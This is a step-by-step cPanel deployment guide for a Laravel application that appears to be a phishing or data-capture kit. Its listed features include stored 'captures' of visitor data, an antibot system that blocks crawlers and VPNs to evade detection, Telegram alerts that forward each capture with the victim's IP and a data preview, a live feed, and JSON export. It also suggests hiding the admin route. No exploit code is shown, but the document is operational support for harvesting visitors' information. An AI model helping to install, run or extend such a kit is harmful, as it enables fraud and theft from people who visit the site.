# Laravel cPanel Installation Guide

## Quick Setup (5 Minutes)

### Step 1: Prepare Files
1. Compress the entire project folder into a ZIP file
2. **Important**: Delete `vendor/` folder before zipping to reduce size

### Step 2: Upload to cPanel
1. Login to your cPanel
2. Go to **File Manager**
3. Navigate to `public_html/` (or your subdomain folder)
4. Click **Upload** and select your ZIP file
5. After upload completes, right-click the ZIP → **Extract**
6. Delete the ZIP file after extraction

### Step 3: Configure PHP Version
1. In cPanel, go to **MultiPHP Manager**
2. Select your domain
3. Change PHP version to **PHP 7.4** (Laravel 5.5 requirement)
4. Click **Apply**

### Step 4: Run Web Installer
1. Open your browser and go to: `https://yourdomain.com/install.php`
2. The installer will check system requirements automatically
3. Fill in the form:
   - **Application URL**: Your full domain (https://yourdomain.com)
   - **Database Host**: Usually `localhost`
   - **Database Name**: Create this in cPanel → MySQL Databases first
   - **Database Username**: Your MySQL username
   - **Database Password**: Your MySQL password
   - **Telegram Bot Token**: (Optional) Get from @BotFather
   - **Telegram Chat ID**: (Optional) Your chat/group ID
4. Click **Install Now**

### Step 5: Composer Install (SSH Required)
After web installer completes, run via SSH or cPanel Terminal:

```bash
cd /home/yourusername/public_html
composer install --no-dev --optimize-autoloader
php artisan migrate
```

If you don't have SSH access, ask your hosting provider to run these commands.

### Step 6: Security Cleanup
1. Delete `install.php` from your server
2. Make sure `.env` file is NOT publicly accessible
3. Verify `storage/` and `bootstrap/cache/` are writable (775 permissions)

---

## Alternative: Manual Installation (No Web Installer)

If you prefer manual setup or web installer fails:

### 1. Upload Files
Same as Step 1-2 above

### 2. Configure Environment
1. Copy `.env.example` to `.env` via File Manager
2. Edit `.env` with your database credentials:
```
APP_URL=https://yourdomain.com
DB_HOST=localhost
DB_DATABASE=your_database
DB_USERNAME=your_username
DB_PASSWORD=your_password
TELEGRAM_BOT_TOKEN=your_token
TELEGRAM_CHAT_ID=your_chat_id
```

### 3. Generate App Key
Run via SSH:
```bash
php artisan key:generate
```

### 4. Set Permissions
```bash
chmod -R 775 storage
chmod -R 775 bootstrap/cache
```

### 5. Install Dependencies & Migrate
```bash
composer install --no-dev --optimize-autoloader
php artisan migrate
```

---

## Troubleshooting

### "500 Internal Server Error"
- Check `.env` file exists and has correct database credentials
- Verify storage/ and bootstrap/cache/ are writable (775)
- Check error logs in cPanel → Error Log

### "Class not found" errors
- Run `composer install` again
- Run `composer dump-autoload`

### Database connection failed
- Verify database exists in cPanel → MySQL Databases
- Verify username has ALL PRIVILEGES on the database
- Try `localhost` or `127.0.0.1` as DB_HOST
- Some hosts use different format: `localhost:/tmp/mysql5.sock`

### "Composer not found"
- Install Composer in cPanel Terminal:
```bash
cd ~
curl -sS https://getcomposer.org/installer | php
alias composer='php ~/composer.phar'
```

### Telegram notifications not working
- Verify bot token is correct (from @BotFather)
- Verify chat ID is correct (use @userinfobot to get your ID)
- For groups, chat ID starts with `-` (e.g., `-1001234567890`)
- Test bot manually: `https://api.telegram.org/bot<TOKEN>/getUpdates`

### Admin panel not showing captures
- Verify `storage/captures/` folder exists and is writable
- Check `storage/logs/laravel.log` for errors

---

## cPanel-Specific Tips

### If you want Laravel in root directory
1. Upload Laravel to `/home/user/laravel/`
2. Move contents of `laravel/public/*` to `/home/user/public_html/`
3. Edit `public_html/index.php` line 22:
```php
require __DIR__.'/../laravel/bootstrap/autoload.php';
```
4. Edit line 36:
```php
$app = require_once __DIR__.'/../laravel/bootstrap/app.php';
```

### Subdomain Setup
1. Create subdomain in cPanel (e.g., `app.yourdomain.com`)
2. Upload entire Laravel folder to subdomain root
3. Move `public/*` contents to subdomain's `public_html/`
4. Follow same index.php edit as above

### Database Creation Quick Steps
1. cPanel → MySQL Databases
2. Create New Database (e.g., `username_laravel`)
3. Create New User (e.g., `username_admin`)
4. Add User to Database with ALL PRIVILEGES
5. Use these credentials in `.env`

---

## Post-Installation

### Access Points
- **Frontend**: `https://yourdomain.com/`
- **Admin Panel**: `https://yourdomain.com/admin/panel`
- **Admin Logs**: `https://yourdomain.com/admin/logs`
- **Live Feed**: `https://yourdomain.com/admin/live-feed`

### Default Features
- ✅ Antibot system (blocks bots, crawlers, VPNs)
- ✅ Telegram notifications for new captures
- ✅ Admin panel with statistics
- ✅ IP banning system
- ✅ Capture viewer with delete function
- ✅ JSON export for all captures

### Testing Telegram Integration
After installation, trigger a test capture and verify:
1. Telegram bot sends notification to your chat
2. Notification includes user IP, timestamp, data preview
3. Admin panel shows the capture

---

## Support

If you encounter issues:
1. Check `storage/logs/laravel.log` for detailed errors
2. Verify all requirements are met (PHP 7.4, extensions, permissions)
3. Test database connection manually via cPanel → phpMyAdmin

**Common hosting providers tested:**
- ✅ Namecheap Shared Hosting
- ✅ Hostinger Premium
- ✅ SiteGround StartUp
- ✅ Bluehost Plus
- ⚠️ Free hosting (000webhost, InfinityFree) may have issues with composer

---

## Security Notes

1. **Always delete install.php after installation**
2. Change admin route prefix in `routes/web.php` for security:
```php
Route::group(['namespace'=> 'Admin', 'prefix'=> 'your-secret-admin'], function() {
```
3. Add IP whitelist for admin panel in middleware
4. Use strong database passwords
5. Keep `.env` file secure (already blocked by Laravel's .htaccess)
6. Regularly backup `storage/captures/` and database

Done. Easy upload, web installer handles the rest.
